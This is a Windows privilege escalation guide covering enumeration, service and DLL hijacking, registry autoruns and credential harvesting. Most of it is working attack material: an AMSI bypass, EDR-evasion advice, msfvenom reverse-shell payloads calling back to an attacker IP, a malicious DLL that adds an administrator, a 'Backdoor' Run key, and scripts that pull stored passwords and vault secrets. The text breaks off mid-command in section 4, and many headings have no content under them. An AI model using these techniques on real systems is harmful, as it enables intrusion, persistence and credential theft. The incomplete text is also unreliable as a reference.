Windows Privilege Escalation Master Guide (2026 Edition)

#WindowsPrivilegeEscalation #Privileges #PrivilegeEscalation

Table of Contents

1. Introduction & Philosophy
2. Enumeration (The Foundation)
3. Configuration & Service Exploits
4. Credential Harvesting & Secrets
5. Kernel & OS Vulnerabilities
6. Token Manipulation & Potato Attacks
7. Defense & OPSEC
8. The Ultimate Cheat Sheet
9. 2026 Addendum: Modern Attack Surface

I. Introduction & Philosophy

1.1 The Windows Privilege Model

Windows employs a multi-layered security architecture built around three core concepts: Security Identifiers (SIDs), Access Tokens, and Integrity Levels. Understanding these fundamentals is essential before attempting any privilege escalation technique.

1.1.1 Security Identifiers (SIDs)

Every security principal in Windows—users, groups, computers, and services—receives a unique Security Identifier (SID) that persists for the lifetime of that principal. SIDs are the foundation of Windows access control.

SID Structure:

S-R-X-Y1-Y2-...-Yn-RID

Well-Known SIDs Critical for PrivEsc:

1.1.2 Access Tokens

When a user authenticates to Windows, the Local Security Authority Subsystem Service (LSASS) creates an access token containing:

• User SID
• Group SIDs (all groups the user belongs to)
• Privilege list (user rights)
• Integrity level
• Session ID
• Token type (Primary or Impersonation)

Token Types:

Impersonation Levels:

1.1.3 Integrity Levels

Windows Vista introduced Mandatory Integrity Control (MIC), adding a hierarchical trust layer:

Integrity Level Verification:

whoami /groups | findstr "Mandatory"

Output interpretation:

Mandatory Label\Medium Mandatory Level    Label    S-1-16-8192

• S-1-16-4096 = Low Integrity
• S-1-16-8192 = Medium Integrity
• S-1-16-12288 = High Integrity
• S-1-16-16384 = System Integrity

1.1.4 The Windows Authorization Process

When a subject (user/process) attempts to access an object (file/service/registry key):

1. Token Presentation: Process presents its access token
2. Security Descriptor Retrieval: System retrieves object’s security descriptor containing:
   • Owner SID
   • Group SID
   • DACL (Discretionary Access Control List)
   • SACL (System Access Control List)
3. ACE Evaluation: System evaluates Access Control Entries in order:
   • Explicit Deny ACEs evaluated first
   • Explicit Allow ACEs evaluated second
   • Inherited Deny ACEs third
   • Inherited Allow ACEs last
4. Access Decision: Grant or deny based on cumulative permissions

Critical Insight: This process happens instantaneously for every resource access attempt. Attackers exploit this by:

• Manipulating tokens (impersonation attacks)
• Modifying security descriptors (weak permissions)
• Inserting themselves into the authorization process (service hijacking)

1.2 Living off the Land (LotL) Philosophy in 2025

Modern Windows environments deploy sophisticated endpoint detection capabilities—Windows 11 24H2 and Server 2025 include Microsoft Defender for Endpoint with advanced behavioral detection, AMSI integration across PowerShell/VBScript/JavaScript, and Credential Guard protection. Traditional attack tools trigger immediate alerts.

1.2.1 The LotL Imperative

Living off the Land Binaries (LOLBins) are Microsoft-signed executables that:

• Bypass application whitelisting (AppLocker, WDAC)
• Avoid signature-based detection
• Blend with legitimate system activity
• Provide plausible deniability

2025 LOLBin Categories for PrivEsc:

1.2.2 The 2025 Detection Landscape

Current EDR Capabilities to Evade:

Modern OPSEC Principles:

1. Minimize footprint: Use built-in tools wherever possible
2. Blend with noise: Execute during normal business hours
3. Avoid known-bad indicators: Don’t use default tool parameters/filenames
4. Chain techniques: Combine multiple weak findings into escalation path
5. Test detection: Use Defender-enabled systems during development

1.2.3 Primary Privilege Escalation Targets

Escalation Philosophy:

1. Always enumerate first—understand your current context
2. Identify the shortest path to your target privilege level
3. Have backup techniques prepared
4. Document every step for client reporting
5. Consider operational impact before executing

II. Enumeration (The Foundation)

2.1 Automated Tools Deep Dive

Automated enumeration tools rapidly identify privilege escalation vectors but generate significant noise. Understanding each tool’s capabilities, limitations, and detection footprint is essential for operational success.

2.1.1 Tool Comparison Matrix

2.1.2 WinPEAS Deep Dive

WinPEAS is the most comprehensive Windows privilege escalation enumeration tool, performing hundreds of checks across system configuration, services, applications, and credentials.

Execution Methods:

:: Basic execution
winpeasx64.exe

:: Quiet mode (reduced output)
winpeasx64.exe quiet

:: Fast mode (skip slow checks)
winpeasx64.exe fast

:: Specific checks only
winpeasx64.exe servicesinfo

:: Log output to file
winpeasx64.exe log=C:\temp\winpeas.txt

:: No color (for logging)
winpeasx64.exe notcolor

WinPEAS Check Categories:

WinPEAS OPSEC Considerations:

• Detection: Flagged by 50+ AV engines; Windows Defender blocks by default
• Mitigation: Compile from source with obfuscation, or use module-by-module approach
• Alternative: Run individual checks manually using equivalent commands

2.1.3 Seatbelt Deep Dive

Seatbelt performs targeted security checks with modular execution capability, making it more suitable for operational environments.

Execution Methods:

# Run all checks
.\Seatbelt.exe -group=all

# Run specific command groups
.\Seatbelt.exe -group=system
.\Seatbelt.exe -group=user
.\Seatbelt.exe -group=misc

# Run specific commands
.\Seatbelt.exe TokenPrivileges
.\Seatbelt.exe WindowsCredentialFiles
.\Seatbelt.exe CredEnum

# Remote execution (requires admin on remote host)
.\Seatbelt.exe -group=remote -computername=DC01.corp.local

Key Seatbelt Commands for PrivEsc:

2.1.4 SharpUp Deep Dive

SharpUp is a C# port of PowerUp, providing the same service/registry misconfiguration checks in a compiled format that bypasses AMSI.

Execution:

# Full audit
.\SharpUp.exe audit

# Check specific vulnerabilities
.\SharpUp.exe HijackablePaths
.\SharpUp.exe ModifiableServiceBinaries
.\SharpUp.exe ModifiableServices
.\SharpUp.exe UnquotedServicePath

SharpUp Check Categories:

2.1.5 PowerUp Deep Dive

PowerUp remains the most widely-used PowerShell privilege escalation framework despite AMSI challenges.

Execution Methods:

# Import the module
Import-Module .\PowerUp.ps1

# Run all checks
Invoke-AllChecks

# Run all checks and export to HTML
Invoke-AllChecks -HTMLReport

# Individual function execution
Get-UnquotedService
Get-ModifiableServiceFile
Get-ModifiableService
Get-ServiceDetail -Name "VulnerableService"

AMSI Bypass for PowerUp (2025):

# Method 1: Reflection-based bypass
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf=@(0);[System.Runtime.InteropServices.Marshal]::Copy($buf,0,$ptr,1)

# Method 2: PowerShell downgrade (if PS 2.0 available)
powershell.exe -version 2 -ep bypass -file PowerUp.ps1

# Method 3: Obfuscated import
$code = [System.IO.File]::ReadAllText("C:\temp\PowerUp.ps1")
$code = $code -replace 'Invoke-AllChecks', 'Invoke-AC'
IEX $code
Invoke-AC

Key PowerUp Functions:

2.1.6 PrivescCheck Deep Dive

PrivescCheck is a modern PowerShell script designed for Windows 10/11 and Server 2019/2022/2025, with built-in AMSI evasion options.

Execution Methods:

# Basic execution
.\PrivescCheck.ps1

# Extended mode (more checks)
.\PrivescCheck.ps1 -Extended

# Specific category
.\PrivescCheck.ps1 -Extended -Category "Services"

# Export results
.\PrivescCheck.ps1 -Extended -Report PrivescCheck_Results -Format HTML,CSV

# Audit mode (minimal changes)
.\PrivescCheck.ps1 -Audit

PrivescCheck Categories:

2.2 Manual Enumeration Methodology

Automated tools are essential but understanding manual enumeration is critical when:

• Tools are detected/blocked by EDR
• Limited write access prevents tool upload
• Stealth is paramount
• Verifying automated tool findings

2.2.1 System Information Gathering

:: Basic system information
systeminfo

:: Hostname and domain
hostname
echo %USERDOMAIN%

:: OS version (registry method - more reliable)
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v CurrentBuild
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ReleaseId

:: Architecture
wmic os get osarchitecture
echo %PROCESSOR_ARCHITECTURE%

:: Environment variables
set

:: System uptime (for patch assessment)
net statistics server | findstr "Statistics since"

# PowerShell system enumeration
[System.Environment]::OSVersion.Version
Get-ComputerInfo | Select-Object WindowsProductName, WindowsVersion, OsHardwareAbstractionLayer
Get-CimInstance Win32_OperatingSystem | Select-Object Caption, Version, BuildNumber, OSArchitecture

2.2.2 Patch Level Enumeration

Understanding patch level is critical for kernel exploit selection.

:: List installed hotfixes (CMD)
wmic qfe list brief

:: Filter for security updates
wmic qfe list brief | findstr /i "security"

:: Specific KB search
wmic qfe | findstr "KB5034441"

# PowerShell hotfix enumeration
Get-HotFix | Select-Object HotFixID, Description, InstalledOn | Sort-Object InstalledOn -Descending

# Check for specific critical patches
$criticalKBs = @("KB5034441", "KB5031356", "KB5028185")
$installed = Get-HotFix | Select-Object -ExpandProperty HotFixID
foreach ($kb in $criticalKBs) {
    if ($installed -contains $kb) {
        Write-Host "[+] $kb is installed" -ForegroundColor Green
    } else {
        Write-Host "[-] $kb is MISSING" -ForegroundColor Red
    }
}

# Last update check
(Get-HotFix | Sort-Object InstalledOn -Descending | Select-Object -First 1).InstalledOn

Critical Missing Patch Indicators:

2.2.3 User and Group Enumeration

:: Current user context
whoami
echo %USERNAME%

:: Current user privileges (CRITICAL)
whoami /priv

:: Current user group membership
whoami /groups

:: All information about current user
whoami /all

:: List all local users
net user

:: Specific user details
net user Administrator
net user %USERNAME%

:: List all local groups
net localgroup

:: Members of specific groups
net localgroup Administrators
net localgroup "Remote Desktop Users"
net localgroup "Backup Operators"

:: Password policy
net accounts

# Get current user privileges with state
whoami /priv | Select-String "Se"

# Enumerate local admins
Get-LocalGroupMember -Group "Administrators" | Select-Object Name, PrincipalSource

# Check specific group memberships
$groups = @("Administrators", "Backup Operators", "Remote Desktop Users", "Remote Management Users")
foreach ($group in $groups) {
    Write-Host "`n[*] Members of $group :" -ForegroundColor Cyan
    Get-LocalGroupMember -Group $group -ErrorAction SilentlyContinue | ForEach-Object { Write-Host "    $($_.Name)" }
}

# Get user description (sometimes contains passwords!)
Get-LocalUser | Select-Object Name, Enabled, Description

Privilege Escalation Priority Privileges:

2.2.4 Network Enumeration

:: Interface configuration
ipconfig /all

:: Routing table
route print

:: ARP cache (recently communicated hosts)
arp -a

:: Active connections and listening ports
netstat -ano

:: Filter for listening ports
netstat -ano | findstr "LISTENING"

:: Firewall status
netsh advfirewall show allprofiles

:: Firewall rules
netsh advfirewall firewall show rule name=all

# PowerShell network enumeration
Get-NetIPConfiguration
Get-NetRoute | Where-Object {$_.NextHop -ne "0.0.0.0"} | Select-Object DestinationPrefix, NextHop, InterfaceAlias
Get-NetTCPConnection -State Listen | Select-Object LocalAddress, LocalPort, OwningProcess | Sort-Object LocalPort

# Identify process for listening port
$listeners = Get-NetTCPConnection -State Listen
foreach ($listener in $listeners) {
    $proc = Get-Process -Id $listener.OwningProcess -ErrorAction SilentlyContinue
    Write-Host "$($listener.LocalAddress):$($listener.LocalPort) -> $($proc.ProcessName) (PID: $($listener.OwningProcess))"
}

Internal Service Discovery:

Common internal services to investigate:

• MySQL (3306), MSSQL (1433), PostgreSQL (5432)
• Splunk (8089), Elasticsearch (9200), Redis (6379)
• Management interfaces (8080, 8443, 9000)

2.2.5 Running Processes and Services

:: List all running processes with services
tasklist /svc

:: Detailed process list
tasklist /v

:: Running services
sc query

:: Services in specific state
sc query state= all | findstr "SERVICE_NAME STATE" | more

:: Service details
sc qc "ServiceName"

:: Service permissions (using sc)
sc sdshow "ServiceName"

# Processes with user context
Get-Process -IncludeUserName | Select-Object ProcessName, Id, UserName | Sort-Object UserName

# Services not running as SYSTEM (potentially exploitable)
Get-WmiObject Win32_Service | Where-Object {$_.StartName -notmatch "LocalSystem|LocalService|NetworkService"} | 
    Select-Object Name, StartName, PathName, State

# Services with Auto start
Get-Service | Where-Object {$_.StartType -eq "Automatic" -and $_.Status -eq "Running"} | 
    Select-Object Name, DisplayName, Status

# Identify AV/EDR processes
$avProcesses = @("MsMpEng", "MsSense", "SenseIR", "SenseNdr", "cb", "CylanceSvc", "CSFalconService", "Tanium", "Sysmon", "emet_service")
Get-Process | Where-Object {$avProcesses -contains $_.ProcessName} | Select-Object ProcessName, Id

2.2.6 AV/EDR Enumeration

Identifying security products is essential for tool selection and evasion.

# Windows Defender status
Get-MpComputerStatus | Select-Object RealTimeProtectionEnabled, BehaviorMonitorEnabled, IoavProtectionEnabled, AntivirusEnabled

# Defender exclusions (if readable)
Get-MpPreference | Select-Object ExclusionPath, ExclusionExtension, ExclusionProcess

# Security Center products (WMI method)
Get-WmiObject -Namespace "root\SecurityCenter2" -Class AntiVirusProduct | Select-Object displayName, productState
Get-WmiObject -Namespace "root\SecurityCenter2" -Class AntiSpywareProduct | Select-Object displayName, productState
Get-WmiObject -Namespace "root\SecurityCenter2" -Class FirewallProduct | Select-Object displayName, productState

# Common AV process detection
$avIndicators = @{
    "MsMpEng" = "Windows Defender"
    "MsSense" = "Microsoft Defender ATP"
    "CSFalconService" = "CrowdStrike Falcon"
    "cb" = "Carbon Black"
    "CylanceSvc" = "Cylance"
    "SentinelAgent" = "SentinelOne"
    "Tanium" = "Tanium"
    "emet_service" = "EMET"
    "Sysmon" = "Sysmon"
}

foreach ($proc in $avIndicators.Keys) {
    if (Get-Process -Name $proc -ErrorAction SilentlyContinue) {
        Write-Host "[!] $($avIndicators[$proc]) detected ($proc)" -ForegroundColor Red
    }
}

2.2.7 Installed Software Enumeration

:: WMI method (slow but comprehensive)
wmic product get name,version

:: Registry method (faster)
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s | findstr /i "DisplayName DisplayVersion"
reg query "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall" /s | findstr /i "DisplayName DisplayVersion"

# Installed programs via registry
$32bit = Get-ItemProperty "HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | 
    Select-Object DisplayName, DisplayVersion, Publisher
$64bit = Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | 
    Select-Object DisplayName, DisplayVersion, Publisher
($32bit + $64bit) | Where-Object {$_.DisplayName} | Sort-Object DisplayName | Format-Table -AutoSize

2.2.8 Named Pipes Enumeration

Named pipes are inter-process communication channels that can be exploited for privilege escalation.

:: List named pipes (Sysinternals)
pipelist.exe /accepteula

:: Check pipe permissions
accesschk.exe /accepteula -w \\.\pipe\* -v
accesschk.exe /accepteula \\.\pipe\spoolss -v

# List named pipes (PowerShell)
Get-ChildItem \\.\pipe\ | Select-Object Name

# Check specific pipe permissions
(Get-Acl \\.\pipe\lsass).Access | Format-Table IdentityReference, FileSystemRights

III. Configuration & Service Exploits

3.1 Windows Services Exploitation

Windows services represent one of the most reliable privilege escalation vectors. Services run with specific account privileges (often SYSTEM) and have configuration files, binaries, and registry keys that may be vulnerable to manipulation.

3.1.1 Understanding Service Architecture

Service Accounts and Their Privileges:

Service Components:

3.1.2 Unquoted Service Paths

When a service binary path contains spaces and is not enclosed in quotes, Windows will attempt to locate the executable by trying each “break point” in the path.

Example Vulnerable Path:

C:\Program Files\Vulnerable Application\Sub Directory\service.exe

Windows Search Order:

1. C:\Program.exe
2. C:\Program Files\Vulnerable.exe
3. C:\Program Files\Vulnerable Application\Sub.exe
4. C:\Program Files\Vulnerable Application\Sub Directory\service.exe

Detection:

:: CMD detection
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

:: PowerShell detection
Get-CimInstance Win32_Service | Where-Object {
    $_.PathName -notmatch '^"' -and 
    $_.PathName -match '\s' -and 
    $_.PathName -notmatch 'c:\\windows'
} | Select-Object Name, PathName, StartMode, State

Exploitation:

# Step 1: Verify write permissions to target directory
icacls "C:\Program Files\Vulnerable Application"

# Step 2: Check service start mode
sc qc "VulnerableService"

# Step 3: Generate malicious binary
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f exe -o Vulnerable.exe

# Step 4: Place binary in exploitable path
copy Vulnerable.exe "C:\Program Files\Vulnerable.exe"

# Step 5: Restart service (or wait for system reboot)
sc stop VulnerableService
sc start VulnerableService

Verification Script:

function Find-UnquotedPaths {
    $services = Get-CimInstance Win32_Service | Where-Object {$_.PathName -ne $null}
    
    foreach ($service in $services) {
        $path = $service.PathName
        
        # Skip quoted paths
        if ($path.StartsWith('"')) { continue }
        
        # Skip paths without spaces
        if ($path -notmatch '\s') { continue }
        
        # Skip Windows directory
        if ($path -match '^C:\\Windows') { continue }
        
        # Extract unquoted portion (before any arguments)
        if ($path -match '^([^"]+\.exe)') {
            $exePath = $Matches[1]
            
            # Find potential hijack locations
            $parts = $exePath -split '\\'
            $testPath = ""
            
            for ($i = 0; $i -lt $parts.Count - 1; $i++) {
                $testPath += $parts[$i]
                if ($testPath -match '\s') {
                    $hijackPath = ($testPath -split '\s')[0] + ".exe"
                    
                    # Check write permissions
                    $parentDir = Split-Path $hijackPath -Parent
                    if (Test-Path $parentDir) {
                        $acl = Get-Acl $parentDir
                        foreach ($ace in $acl.Access) {
                            if ($ace.FileSystemRights -match 'Write|FullControl|Modify' -and 
                                $ace.IdentityReference -match 'Users|Everyone|Authenticated') {
                                Write-Host "[VULN] $($service.Name): $hijackPath" -ForegroundColor Red
                                Write-Host "       Writable by: $($ace.IdentityReference)" -ForegroundColor Yellow
                            }
                        }
                    }
                }
                $testPath += "\"
            }
        }
    }
}

Find-UnquotedPaths

3.1.3 Weak Service Permissions

Services with weak DACLs allow unprivileged users to modify service configuration.

Detection:

:: Using accesschk (Sysinternals)
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
accesschk.exe /accepteula -uwcqv "Users" *
accesschk.exe /accepteula -uwcqv "%USERNAME%" *

Permission Meanings:

Exploitation with sc.exe:

:: Verify current config
sc qc "VulnerableService"

:: Modify binary path to add user
sc config "VulnerableService" binpath= "cmd /c net localgroup administrators YOUR_USER /add"

:: Restart service
sc stop "VulnerableService"
sc start "VulnerableService"

:: Verify exploitation
net localgroup administrators

Exploitation with PowerShell:

# Modify service ImagePath via registry
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\VulnerableService" -Name "ImagePath" -Value "C:\temp\payload.exe"

# Restart service
Restart-Service -Name "VulnerableService" -Force

Reverse Shell Payload:

:: Generate payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f exe-service -o service_payload.exe

:: Modify service
sc config "VulnerableService" binpath= "C:\temp\service_payload.exe"
sc stop "VulnerableService"
sc start "VulnerableService"

3.1.4 Weak Service Binary Permissions

If the service binary itself is writable, it can be replaced with a malicious executable.

Detection:

:: Check binary permissions
icacls "C:\Program Files\VulnerableApp\service.exe"
accesschk.exe /accepteula -quvw "C:\Program Files\VulnerableApp\service.exe"

# Find writable service binaries
Get-CimInstance Win32_Service | ForEach-Object {
    $path = ($_.PathName -split '"')[1]
    if (!$path) { $path = ($_.PathName -split ' ')[0] }
    
    if (Test-Path $path) {
        $acl = Get-Acl $path
        foreach ($ace in $acl.Access) {
            if ($ace.FileSystemRights -match 'Write|FullControl|Modify' -and 
                $ace.IdentityReference -match 'Users|Everyone|Authenticated') {
                Write-Host "[VULN] $($_.Name): $path" -ForegroundColor Red
                Write-Host "       Writable by: $($ace.IdentityReference)" -ForegroundColor Yellow
            }
        }
    }
}

Exploitation:

:: Backup original binary
copy "C:\Program Files\VulnerableApp\service.exe" "C:\temp\service.exe.bak"

:: Replace with malicious binary
copy /Y payload.exe "C:\Program Files\VulnerableApp\service.exe"

:: Restart service
sc stop "VulnerableService"
sc start "VulnerableService"

3.1.5 Weak Service Registry Permissions

The service configuration in the registry may be modifiable even if the service DACL is secure.

Detection:

:: Check registry permissions
accesschk.exe /accepteula -kvuqsw "Authenticated Users" hklm\System\CurrentControlSet\Services
accesschk.exe /accepteula -kvuqsw "Users" hklm\System\CurrentControlSet\Services

# Check specific service registry permissions
$services = Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Services"
foreach ($service in $services) {
    $acl = Get-Acl $service.PSPath
    foreach ($ace in $acl.Access) {
        if ($ace.RegistryRights -match 'FullControl|SetValue' -and 
            $ace.IdentityReference -match 'Users|Everyone|Authenticated') {
            Write-Host "[VULN] $($service.PSChildName)" -ForegroundColor Red
            Write-Host "       Modifiable by: $($ace.IdentityReference)" -ForegroundColor Yellow
        }
    }
}

Exploitation:

# Modify ImagePath
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\VulnerableService" -Name "ImagePath" -Value "C:\temp\payload.exe"

# Restart service
Restart-Service "VulnerableService"

3.2 DLL Hijacking

DLL hijacking exploits Windows’ DLL search order to load malicious libraries instead of legitimate ones.

3.2.1 Windows DLL Search Order

When an application loads a DLL without specifying the full path, Windows searches in this order:

1. Known DLLs: HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
2. Application directory: Directory containing the executable
3. System directory: C:\Windows\System32
4. 16-bit system directory: C:\Windows\System
5. Windows directory: C:\Windows
6. Current directory: Process’s current working directory
7. PATH directories: Directories in the PATH environment variable

Safe DLL Search Mode (default enabled): When enabled, the current directory is searched after system directories.

3.2.2 Finding DLL Hijacking Opportunities

Using Process Monitor (Procmon):

1. Launch Procmon as Administrator
2. Set filters:
   - Operation is CreateFile
   - Result is NAME NOT FOUND
   - Path ends with .dll
3. Run target application
4. Analyze missing DLLs in writable locations

Automated Detection Script:

# Find applications loading DLLs from writable locations
function Find-DLLHijack {
    param([string]$ProcessName)
    
    # Get process info
    $proc = Get-Process -Name $ProcessName -ErrorAction SilentlyContinue
    if (!$proc) {
        Write-Host "Process not found" -ForegroundColor Red
        return
    }
    
    # Get loaded modules
    $modules = $proc.Modules
    
    foreach ($module in $modules) {
        $path = $module.FileName
        $dir = Split-Path $path -Parent
        
        # Check if directory is writable
        try {
            $acl = Get-Acl $dir
            foreach ($ace in $acl.Access) {
                if ($ace.FileSystemRights -match 'Write|FullControl|Modify' -and 
                    $ace.IdentityReference -match 'Users|Everyone|Authenticated') {
                    Write-Host "[VULN] $path" -ForegroundColor Red
                    Write-Host "       Directory writable by: $($ace.IdentityReference)" -ForegroundColor Yellow
                }
            }
        } catch {}
    }
}

3.2.3 Phantom DLL Hijacking

Some applications attempt to load DLLs that don’t exist on the system. If the search path includes a writable directory, an attacker can plant a malicious DLL.

Common Phantom DLLs:

Creating Malicious DLL:

// dllmain.cpp - Minimal DLL payload
#include <windows.h>
#include <stdlib.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        // Execute payload once when DLL is loaded
        system("cmd.exe /c net localgroup administrators YOUR_USER /add");
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Compiling with Visual Studio:

cl.exe /LD /Fe:malicious.dll dllmain.cpp

Using msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f dll -o malicious.dll

3.2.4 DLL Proxying/Sideloading

DLL proxying creates a malicious DLL that forwards legitimate function calls to the original DLL while executing malicious code.

Steps:

1. Identify target DLL and its exports
2. Create proxy DLL that exports same functions
3. Proxy forwards calls to renamed original DLL
4. Inject payload in DllMain

Using SharpDLLProxy:

:: Generate proxy DLL
SharpDLLProxy.exe --dll C:\Windows\System32\version.dll --output-dir C:\temp\proxy

3.3 Registry Exploits

3.3.1 AlwaysInstallElevated

When enabled, MSI packages install with SYSTEM privileges regardless of the user running them.

Detection:

:: Check both registry keys (both must be set to 1)
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# PowerShell check
$hkcu = Get-ItemProperty -Path "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer" -Name "AlwaysInstallElevated" -ErrorAction SilentlyContinue
$hklm = Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" -Name "AlwaysInstallElevated" -ErrorAction SilentlyContinue

if ($hkcu.AlwaysInstallElevated -eq 1 -and $hklm.AlwaysInstallElevated -eq 1) {
    Write-Host "[VULN] AlwaysInstallElevated is enabled!" -ForegroundColor Red
}

Exploitation:

# Generate malicious MSI
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f msi -o evil.msi

:: Install MSI silently
msiexec /quiet /qn /i evil.msi

3.3.2 Autorun Registry Keys

Common Autorun Locations:

Detection:

# Check for writable autorun entries
$autorunPaths = @(
    "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run",
    "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce",
    "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run",
    "HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce"
)

foreach ($path in $autorunPaths) {
    if (Test-Path $path) {
        $props = Get-ItemProperty $path
        $props.PSObject.Properties | Where-Object {$_.Name -notmatch '^PS'} | ForEach-Object {
            $target = $_.Value -replace '"', ''
            if (Test-Path $target) {
                $acl = Get-Acl $target
                foreach ($ace in $acl.Access) {
                    if ($ace.FileSystemRights -match 'Write|FullControl|Modify') {
                        Write-Host "[VULN] $($_.Name): $target" -ForegroundColor Red
                    }
                }
            }
        }
    }
}

Exploitation:

# Add malicious autorun entry
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Backdoor" -Value "C:\temp\payload.exe"

# Or modify existing writable binary
# (replace legitimate autorun binary with payload)

3.3.3 Startup Folder Exploitation

Startup Folder Locations:

Detection:

# Check startup folders
$startupPaths = @(
    "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup",
    "$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
)

foreach ($path in $startupPaths) {
    Write-Host "`nChecking: $path" -ForegroundColor Cyan
    $acl = Get-Acl $path
    $acl.Access | Where-Object {$_.FileSystemRights -match 'Write|FullControl|Modify'} | 
        ForEach-Object { Write-Host "  Writable by: $($_.IdentityReference)" -ForegroundColor Yellow }
}

Exploitation:

:: Place payload in startup folder
copy payload.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\update.exe"

IV. Credential Harvesting & Secrets

4.1 File-Based Credential Discovery

4.1.1 Common Credential File Locations

Configuration Files:

Search Commands:

:: Search for password in files
findstr /si password *.txt *.xml *.ini *.config *.cfg
findstr /spin "password" *.*
cd c:\Users\%USERNAME%\Documents & findstr /SI /M "password" *.xml *.ini *.txt

:: Search for specific file types
dir /s /b *pass*.txt *pass*.xml *pass*.ini *cred* *vnc* *.config
where /R C:\ *.config
where /R C:\ unattend.xml
where /R C:\ sysprep.xml

# PowerShell comprehensive search
$searchTerms = @("password", "passwd", "pwd", "credentials", "secret", "api_key", "apikey", "connection")
$extensions = @("*.txt", "*.xml", "*.ini", "*.config", "*.cfg", "*.json", "*.ps1", "*.bat", "*.cmd")

foreach ($ext in $extensions) {
    Get-ChildItem -Path C:\ -Include $ext -Recurse -ErrorAction SilentlyContinue | 
        ForEach-Object {
            $content = Get-Content $_.FullName -ErrorAction SilentlyContinue
            foreach ($term in $searchTerms) {
                if ($content -match $term) {
                    Write-Host "[FOUND] $($_.FullName)" -ForegroundColor Green
                    $content | Select-String -Pattern $term | ForEach-Object { Write-Host "  $_" }
                }
            }
        }
}

4.1.2 Unattend.xml and Sysprep Credentials

Common Locations:

C:\unattend.xml
C:\Windows\Panther\unattend.xml
C:\Windows\Panther\Unattend\unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml

Extraction:

# Search for unattend files
Get-ChildItem C:\ -Recurse -Include unattend.xml,sysprep.xml,sysprep.inf -ErrorAction SilentlyContinue | 
    ForEach-Object {
        Write-Host "[FOUND] $($_.FullName)" -ForegroundColor Green
        $content = Get-Content $_.FullName
        # Look for password elements
        $content | Select-String -Pattern "Password|AdministratorPassword|AutoLogon" -Context 0,2
    }

Decode Base64 Password:

# If password is base64 encoded
$encoded = "UABhAHMAcwB3AG8AcgBkADEAMgAzACEA"
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($encoded))

4.1.3 IIS Web.config Files

# Search for web.config files
Get-ChildItem -Path C:\inetpub -Include web.config -Recurse -ErrorAction SilentlyContinue | 
    ForEach-Object {
        Write-Host "`n[FOUND] $($_.FullName)" -ForegroundColor Green
        $content = Get-Content $_.FullName
        
        # Extract connection strings
        $content | Select-String -Pattern "connectionString|password|pwd|user id|data source" | 
            ForEach-Object { Write-Host "  $_" }
    }

4.2 Windows Credential Manager

4.2.1 Cmdkey Enumeration

:: List stored credentials
cmdkey /list

Output Analysis:

Target: Domain:interactive=DOMAIN\Administrator
Type: Domain Password
User: DOMAIN\Administrator

Credential Usage:

:: Run command as stored user
runas /savecred /user:DOMAIN\Administrator cmd.exe

:: Use with saved credentials
runas /savecred /user:Administrator "cmd.exe /c whoami > C:\temp\whoami.txt"

4.2.2 Windows Vault

# List vault credentials
vaultcmd /listcreds:"Windows Credentials" /all
vaultcmd /listcreds:"Web Credentials" /all

# Using PowerShell
[Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
$vault = New-Object Windows.Security.Credentials.PasswordVault
$vault.RetrieveAll() | ForEach-Object { $_.RetrievePassword(); $_ }

4.3 PowerShell Credential Storage

4.3.1 PowerShell History

# Get history file path
(Get-PSReadLineOption).HistorySavePath

# Read history file
Get-Content (Get-PSReadLineOption).HistorySavePath

# Search for credentials in history
Get-Content (Get-PSReadLineOption).HistorySavePath | Select-String -Pattern "password|credential|secret"

# Alternative history location
Get-Content "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"

4.3.2 PowerShell Secure Strings

# Find XML credential files
Get-ChildItem -Path C:\Users -Include *.xml -Recurse -ErrorAction SilentlyContinue | 
